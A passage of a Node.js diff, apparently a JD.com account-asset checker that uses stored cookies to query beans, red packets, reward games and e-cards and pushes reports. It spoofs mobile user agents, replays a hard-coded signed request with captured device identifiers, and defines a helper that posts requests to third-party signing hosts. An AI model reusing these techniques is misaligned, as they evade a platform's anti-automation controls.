100).toFixed(0)}%,${$.JdwaterD}天)\n`; + } else { + ReturnMessage += `【东东农场】${$.JdFarmProdName}(${(($.JdtreeEnergy / $.JdtreeTotalEnergy) * 100).toFixed(0)}%)\n`; + + } + } + } else { + if ($.treeState === 0) { + TempBaipiao += `【东东农场】水果领取后未重新种植!\n`; + + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + + } else if ($.treeState === 1) { + ReturnMessage += `【东东农场】${$.JdFarmProdName}种植中...\n`; + } else { + TempBaipiao += `【东东农场】状态异常!\n`; + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + //ReturnMessage += `【东东农场】${$.JdFarmProdName}状态异常${$.treeState}...\n`; + } + } + } + if ($.jxFactoryInfo) { + ReturnMessage += `【京喜工厂】${$.jxFactoryInfo}\n` + } + if ($.ddFactoryInfo) { + ReturnMessage += `【东东工厂】${$.ddFactoryInfo}\n` + } + if ($.DdFactoryReceive) { + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + TempBaipiao += `【东东工厂】${$.ddFactoryInfo} 可以兑换了!\n`; + } + if ($.jxFactoryReceive) { + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + + TempBaipiao += `【京喜工厂】${$.jxFactoryReceive} 可以兑换了!\n`; + + } + + if ($.PigPet) { + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + + TempBaipiao += `【金融养猪】${$.PigPet} 可以兑换了!\n`; + + } + if(EnableJDPet){ + llPetError=false; + var response =""; + response = await PetRequest('energyCollect'); + if(llPetError) + response = await PetRequest('energyCollect'); + + llPetError=false; + var initPetTownRes = ""; + initPetTownRes = await PetRequest('initPetTown'); + if(llPetError) + initPetTownRes = await PetRequest('initPetTown'); + + if(!llPetError && initPetTownRes){ + if (initPetTownRes.code === '0' && initPetTownRes.resultCode === '0' && initPetTownRes.message === 'success') { + $.petInfo = initPetTownRes.result; + if ($.petInfo.userStatus === 0) { + ReturnMessage += `【东东萌宠】活动未开启!\n`; + } else if ($.petInfo.petStatus === 5) { + ReturnMessage += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}已可领取!\n`; + TempBaipiao += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}已可领取!\n`; + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + } else if ($.petInfo.petStatus === 6) { + TempBaipiao += `【东东萌宠】未选择物品! \n`; + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + } else if (response.resultCode === '0') { + ReturnMessage += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}`; + ReturnMessage += `(${(response.result.medalPercent).toFixed(0)}%,${response.result.medalNum}/${response.result.medalNum+response.result.needCollectMedalNum}块)\n`; + } else if (!$.petInfo.goodsInfo) { + ReturnMessage += `【东东萌宠】暂未选购新的商品!\n`; + TempBaipiao += `【东东萌宠】暂未选购新的商品! \n`; + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + + } + } + } + } + + if(strGuoqi){ + ReturnMessage += `💸💸💸临期京豆明细💸💸💸\n`; + ReturnMessage += `${strGuoqi}`; + } + ReturnMessage += `🧧🧧🧧红包明细🧧🧧🧧\n`; + ReturnMessage += `${$.message}`; + strsummary +=`${$.message}`; + + if($.YunFeiQuan){ + var strTempYF="【免运费券】"+$.YunFeiQuan+"张"; + if($.YunFeiQuanEndTime) + strTempYF+="(有效期至"+$.YunFeiQuanEndTime+")"; + strTempYF+="\n"; + ReturnMessage +=strTempYF + strsummary +=strTempYF; + } + if($.YunFeiQuan2){ + var strTempYF2="【免运费券】"+$.YunFeiQuan2+"张"; + if($.YunFeiQuanEndTime2) + strTempYF+="(有效期至"+$.YunFeiQuanEndTime2+")"; + strTempYF2+="\n"; + ReturnMessage +=strTempYF2 + strsummary +=strTempYF2; + } + + if (userIndex2 != -1) { + allMessageGp2 += ReturnMessageTitle+ReturnMessage + `\n`; + } + if (userIndex3 != -1) { + allMessageGp3 += ReturnMessageTitle+ReturnMessage + `\n`; + } + if (userIndex4 != -1) { + allMessageGp4 += ReturnMessageTitle+ReturnMessage + `\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allMessage += ReturnMessageTitle+ReturnMessage + `\n`; + } + + console.log(`${ReturnMessageTitle+ReturnMessage}`); + + if ($.isNode() && WP_APP_TOKEN_ONE) { + var strTitle="京东资产变动"; + ReturnMessage=`【账号名称】${$.nickName || $.UserName}\n`+ReturnMessage; + + if (TempBaipiao) { + strsummary=strSubNotify+TempBaipiao +strsummary; + TempBaipiao = `【⏰商品白嫖活动提醒⏰】\n` + TempBaipiao; + ReturnMessage = TempBaipiao + `\n` + ReturnMessage; + } else { + strsummary = strSubNotify + strsummary; + } + + ReturnMessage += RemainMessage; + + if(strAllNotify) + ReturnMessage=strAllNotify+`\n`+ReturnMessage; + + await notify.sendNotifybyWxPucher(strTitle, `${ReturnMessage}`, `${$.UserName}`,'\n\n本通知 By https://github.com/KingRan/KR',strsummary); + } + + //$.msg($.name, '', ReturnMessage , {"open-url": "https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean"}); +} +async function bean() { + if (EnableCheckBean) { + // console.log(`北京时间零点时间戳:${parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000}`); + // console.log(`北京时间2020-10-28 06:16:05::${new Date("2020/10/28 06:16:05+08:00").getTime()}`) + // 不管哪个时区。得到都是当前时刻北京时间的时间戳 new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000 + + //前一天的0:0:0时间戳 + const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); + // 今天0:0:0时间戳 + const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + let page = 1, + t = 0, + yesterdayArr = [], + todayArr = []; + do { + let response = await getJingBeanBalanceDetail(page); + await $.wait(1000); + // console.log(`第${page}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + page++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (new Date(date).getTime() >= tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + todayArr.push(item); + } else if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + //昨日的 + yesterdayArr.push(item); + } else if (tm > new Date(date).getTime()) { + //前天的 + t = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + t = 1; + } + } else if (response && response.code === "3") { + console.log(`cookie已过期,或者填写不规范,跳出`) + t = 1; + } else { + console.log(`未知情况:${JSON.stringify(response)}`); + console.log(`未知情况,跳出`) + t = 1; + } + } while (t === 0); + for (let item of yesterdayArr) { + if (Number(item.amount) > 0) { + $.incomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.expenseBean += Number(item.amount); + } + } + for (let item of todayArr) { + if (Number(item.amount) > 0) { + $.todayIncomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.todayOutcomeBean += Number(item.amount); + } + } + $.todayOutcomeBean = -$.todayOutcomeBean; + $.expenseBean = -$.expenseBean; + + decExBean = 0; + if (EnableOverBean) { + await queryexpirejingdou(); //过期京豆 + if (decExBean && doExJxBeans == "true") { + var jxbeans = await exchangejxbeans(decExBean); + if (jxbeans) { + $.beanChangeXi = decExBean; + console.log(`已为您将` + decExBean + `临期京豆转换成喜豆!`); + strGuoqi += `已为您将` + decExBean + `临期京豆转换成喜豆!\n`; + } + } + } + } + await redPacket(); + if (EnableChaQuan) + await getCoupon(); +} + +async function Monthbean() { + let time = new Date(); + let year = time.getFullYear(); + let month = parseInt(time.getMonth()); //取上个月 + if (month == 0) { + //一月份,取去年12月,所以月份=12,年份减1 + month = 12; + year -= 1; + } + + //开始时间 时间戳 + let start = new Date(year + "-" + month + "-01 00:00:00").getTime(); + console.log(`计算月京豆起始日期:` + GetDateTime(new Date(year + "-" + month + "-01 00:00:00"))); + + //结束时间 时间戳 + if (month == 12) { + //取去年12月,进1个月,所以月份=1,年份加1 + month = 1; + year += 1; + } + let end = new Date(year + "-" + (month + 1) + "-01 00:00:00").getTime(); + console.log(`计算月京豆结束日期:` + GetDateTime(new Date(year + "-" + (month + 1) + "-01 00:00:00"))); + + let allpage = 1, + allt = 0, + allyesterdayArr = []; + do { + let response = await getJingBeanBalanceDetail(allpage); + await $.wait(1000); + // console.log(`第${allpage}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + allpage++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (start <= new Date(date).getTime() && new Date(date).getTime() < end) { + //日期区间内的京豆记录 + allyesterdayArr.push(item); + } else if (start > new Date(date).getTime()) { + //前天的 + allt = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + allt = 1; + } + } else if (response && response.code === "3") { + console.log(`cookie已过期,或者填写不规范,跳出`) + allt = 1; + } else { + console.log(`未知情况:${JSON.stringify(response)}`); + console.log(`未知情况,跳出`) + allt = 1; + } + } while (allt === 0); + + for (let item of allyesterdayArr) { + if (Number(item.amount) > 0) { + $.allincomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.allexpenseBean += Number(item.amount); + } + } + +} + +async function jdJxMCinfo(){ + if (EnableJxMC) { + llgeterror = false; + await requestAlgo(); + if (llgeterror) { + console.log(`等待10秒后再次尝试...`) + await $.wait(10 * 1000); + await requestAlgo(); + } + await JxmcGetRequest(); + } + return; +} + +async function jdCash() { + if (!EnableCash) + return; + let functionId = "cash_homePage"; + /* let body = {}; + console.log(`正在获取领现金任务签名...`); + isSignError = false; + let sign = await getSign(functionId, body); + if (isSignError) { + console.log(`领现金任务签名获取失败,等待2秒后再次尝试...`) + await $.wait(2 * 1000); + isSignError = false; + sign =await getSign(functionId, body); + } + if (isSignError) { + console.log(`领现金任务签名获取失败,等待2秒后再次尝试...`) + await $.wait(2 * 1000); + isSignError = false; + sign = await getSign(functionId, body); + } + if (!isSignError) { + console.log(`领现金任务签名获取成功...`) + } else { + console.log(`领现金任务签名获取失败...`) + $.jdCash = 0; + return + } */ + let sign = `body=%7B%7D&build=167968&client=apple&clientVersion=10.4.0&d_brand=apple&d_model=iPhone13%2C3&ef=1&eid=eidI25488122a6s9Uqq6qodtQx6rgQhFlHkaE1KqvCRbzRnPZgP/93P%2BzfeY8nyrCw1FMzlQ1pE4X9JdmFEYKWdd1VxutadX0iJ6xedL%2BVBrSHCeDGV1&ep=%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22screen%22%3A%22CJO3CMeyDJCy%22%2C%22osVersion%22%3A%22CJUkDK%3D%3D%22%2C%22openudid%22%3A%22CJSmCWU0DNYnYtS0DtGmCJY0YJcmDwCmYJC0DNHwZNc5ZQU2DJc3Zq%3D%3D%22%2C%22area%22%3A%22CJZpCJCmC180ENcnCv80ENc1EK%3D%3D%22%2C%22uuid%22%3A%22aQf1ZRdxb2r4ovZ1EJZhcxYlVNZSZz09%22%7D%2C%22ts%22%3A1648428189%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D&ext=%7B%22prstate%22%3A%220%22%2C%22pvcStu%22%3A%221%22%7D&isBackground=N&joycious=104&lang=zh_CN&networkType=3g&networklibtype=JDNetworkBaseAF&partner=apple&rfs=0000&scope=11&sign=98c0ea91318ef1313786d86d832f1d4d&st=1648428208392&sv=101&uemps=0-0&uts=0f31TVRjBSv7E8yLFU2g86XnPdLdKKyuazYDek9RnAdkKCbH50GbhlCSab3I2jwM04d75h5qDPiLMTl0I3dvlb3OFGnqX9NrfHUwDOpTEaxACTwWl6n//EOFSpqtKDhg%2BvlR1wAh0RSZ3J87iAf36Ce6nonmQvQAva7GoJM9Nbtdah0dgzXboUL2m5YqrJ1hWoxhCecLcrUWWbHTyAY3Rw%3D%3D` + return new Promise((resolve) => { + $.post(apptaskUrl(functionId, sign), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`jdCash API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data.result) { + $.jdCash = data.data.result.totalMoney || 0; + return + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +async function CheckEcard() { + if (!EnableCheckEcard) + return; + var balEcard = 0; + var body = "pageNo=1&queryType=1&cardType=-1&pageSize=20"; + var stroption = { + url: 'https://mygiftcard.jd.com/giftcard/queryGiftCardItem/app?source=JDAP', + body, + headers: { + "accept": "application/json, text/plain, */*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh-Hans;q=0.9", + "content-length": "44", + "content-type": "application/x-www-form-urlencoded", + "cookie": cookie, + "origin": "https://mygiftcard.jd.com", + "referer": "https://mygiftcard.jd.com/giftcardForM.html?source=JDAP&sid=9f55a224c8286baa2fe3a7545bbd411w&un_area=16_1303_48712_48758", + "user-agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + }, + timeout: 10000 + } + return new Promise((resolve) => { + $.post(stroption, async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`jdCash API请求失败,请检查网路重试`) + } else { + //console.log(data); + data = JSON.parse(data); + let useable = data.couponVOList; + if (useable) { + for (let k = 0; k < useable.length; k++) { + if(useable[k].balance>0) + balEcard += useable[k].balance; + } + if(balEcard) + $.ECardinfo = '共' + useable.length + '张E卡,合计' + parseFloat(balEcard).toFixed(2) + '元'; + } + + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +function apptaskUrl(functionId = "", body = "") { + return { + url: `${JD_API_HOST}?functionId=${functionId}`, + body, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': '', + 'User-Agent': 'JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + timeout: 10000 + } +} +function getSign(functionId, body) { + return new Promise(async resolve => { + let data = { + functionId, + body: JSON.stringify(body), + "client":"apple", + "clientVersion":"10.3.0" + } + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + let Host = HostArr[Math.floor((Math.random() * HostArr.length))] + let options = { + url: `https://cdn.nz.lu/ddo`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 30 * 1000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} getSign API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Cookie: cookie, + "User-Agent": "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000 + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + $.levelName = data.data.userInfo.baseInfo.levelName; + $.isPlusVip = data.data.userInfo.isPlusVip; + + } + if (data['retcode'] === '0' && data.data && data.data['assetInfo']) { + if ($.beanCount == 0) + $.beanCount = data.data && data.data['assetInfo']['beanNum']; + } else { + $.errorMsg = `数据异常`; + } + } else { + $.log('京东服务器返回空数据,将无法获取等级及VIP信息'); + } + } + } catch (e) { + $.logErr(e) + } + finally { + resolve(); + } + }) + }) +} +function TotalBean2() { + return new Promise(async(resolve) => { + const options = { + url: `https://wxapp.m.jd.com/kwxhome/myJd/home.json?&useGuideModule=0&bizId=&brandId=&fromType=wxapp×tamp=${Date.now()}`, + headers: { + Cookie: cookie, + 'content-type': `application/x-www-form-urlencoded`, + Connection: `keep-alive`, + 'Accept-Encoding': `gzip,compress,br,deflate`, + Referer: `https://servicewechat.com/wxa5bf5ee667d91626/161/page-frame.html`, + Host: `wxapp.m.jd.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.10(0x18000a2a) NetType/WIFI Language/zh_CN`, + }, + timeout: 10000 + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (!data.user) { + return; + } + const userInfo = data.user; + if (userInfo) { + if (!$.nickName) + $.nickName = userInfo.petName; + if ($.beanCount == 0) { + $.beanCount = userInfo.jingBean; + } + $.JingXiang = userInfo.uclass; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e); + } + finally { + resolve(); + } + }); + }); +} + +function isLoginByX1a0He() { + return new Promise((resolve) => { + const options = { + url: 'https://plogin.m.jd.com/cgi-bin/ml/islogin', + headers: { + "Cookie": cookie, + "referer": "https://h5.m.jd.com/", + "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000 + } + $.get(options, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.islogin === "1") { + console.log(`使用X1a0He写的接口加强检测: Cookie有效\n`) + } else if (data.islogin === "0") { + $.isLogin = false; + console.log(`使用X1a0He写的接口加强检测: Cookie无效\n`) + } else { + console.log(`使用X1a0He写的接口加强检测: 未知返回,不作变更...\n`) + $.error = `${$.nickName} :` + `使用X1a0He写的接口加强检测: 未知返回...\n` + } + } + } catch (e) { + console.log(e); + } + finally { + resolve(); + } + }); + }); +} + +function getJingBeanBalanceDetail(page) { + return new Promise(async resolve => { + const options = { + "url": `https://api.m.jd.com/client.action?functionId=getJingBeanBalanceDetail`, + "body": `body=${escape(JSON.stringify({"pageSize": "20", "page": page.toString()}))}&appid=ld`, + "headers": { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getJingBeanBalanceDetail API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + // console.log(data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} +function queryexpirejingdou() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/activep3/singjd/queryexpirejingdou?_=${Date.now()}&g_login_type=1&sceneval=2`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "wq.jd.com", + "Referer": "https://wqs.jd.com/promote/201801/bean/mybean.html", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryexpirejingdou API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data.slice(23, -13)); + if (data.ret === 0) { + data['expirejingdou'].map(item => { + if(item['expireamount']!=0){ + strGuoqi+=`【${timeFormat(item['time'] * 1000)}】过期${item['expireamount']}豆\n`; + if (decExBean==0) + decExBean=item['expireamount']; + } + }) + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} +function exchangejxbeans(o) { + return new Promise(async resolve => { + var UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + var JXUA = `jdpingou;iPhone;4.13.0;14.4.2;${UUID};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`; + const options = { + "url": `https://m.jingxi.com/deal/masset/jd2xd?use=${o}&canpintuan=&setdefcoupon=0&r=${Math.random()}&sceneval=2`, + "headers": { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Cookie": cookie, + "Connection": "keep-alive", + "User-Agent": JXUA, + "Accept-Language": "zh-cn", + "Referer": "https://m.jingxi.com/deal/confirmorder/main", + "Accept-Encoding": "gzip, deflate, br", + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(err); + } else { + data = JSON.parse(data); + if (data && data.data && JSON.stringify(data.data) === '{}') { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data || {}); + } + }) + }) +} +function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { + return x.replace(/[xy]/g, function (x) { + var r = 16 * Math.random() | 0, + n = "x" == x ? r : 3 & r | 8; + return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), + uuid + }) +} + +function redPacket() { + return new Promise(async resolve => { + const options = { + "url": `https://m.jingxi.com/user/info/QueryUserRedEnvelopesV2?type=1&orgFlag=JD_PinGou_New&page=1&cashRedType=1&redBalanceFlag=1&channel=1&_=${+new Date()}&sceneval=2&g_login_type=1&g_ty=ls`, + "headers": { + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://st.jingxi.com/my/redpacket.shtml?newPg=App&jxsid=16156262265849285961', + 'Accept-Encoding': 'gzip, deflate, br', + "Cookie": cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`redPacket API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data).data; + $.jxRed = 0, + $.jsRed = 0, + $.jdRed = 0, + $.jdhRed = 0, + $.jxRedExpire = 0, + $.jsRedExpire = 0, + $.jdRedExpire = 0, + $.jdhRedExpire = 0; + let t = new Date(); + t.setDate(t.getDate() + 1); + t.setHours(0, 0, 0, 0); + t = parseInt((t - 1) / 1000); + for (let vo of data.useRedInfo.redList || []) { + if (vo.orgLimitStr && vo.orgLimitStr.includes("京喜")) { + $.jxRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jxRedExpire += parseFloat(vo.balance) + } + } else if (vo.activityName.includes("极速版")) { + $.jsRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jsRedExpire += parseFloat(vo.balance) + } + } else if (vo.orgLimitStr 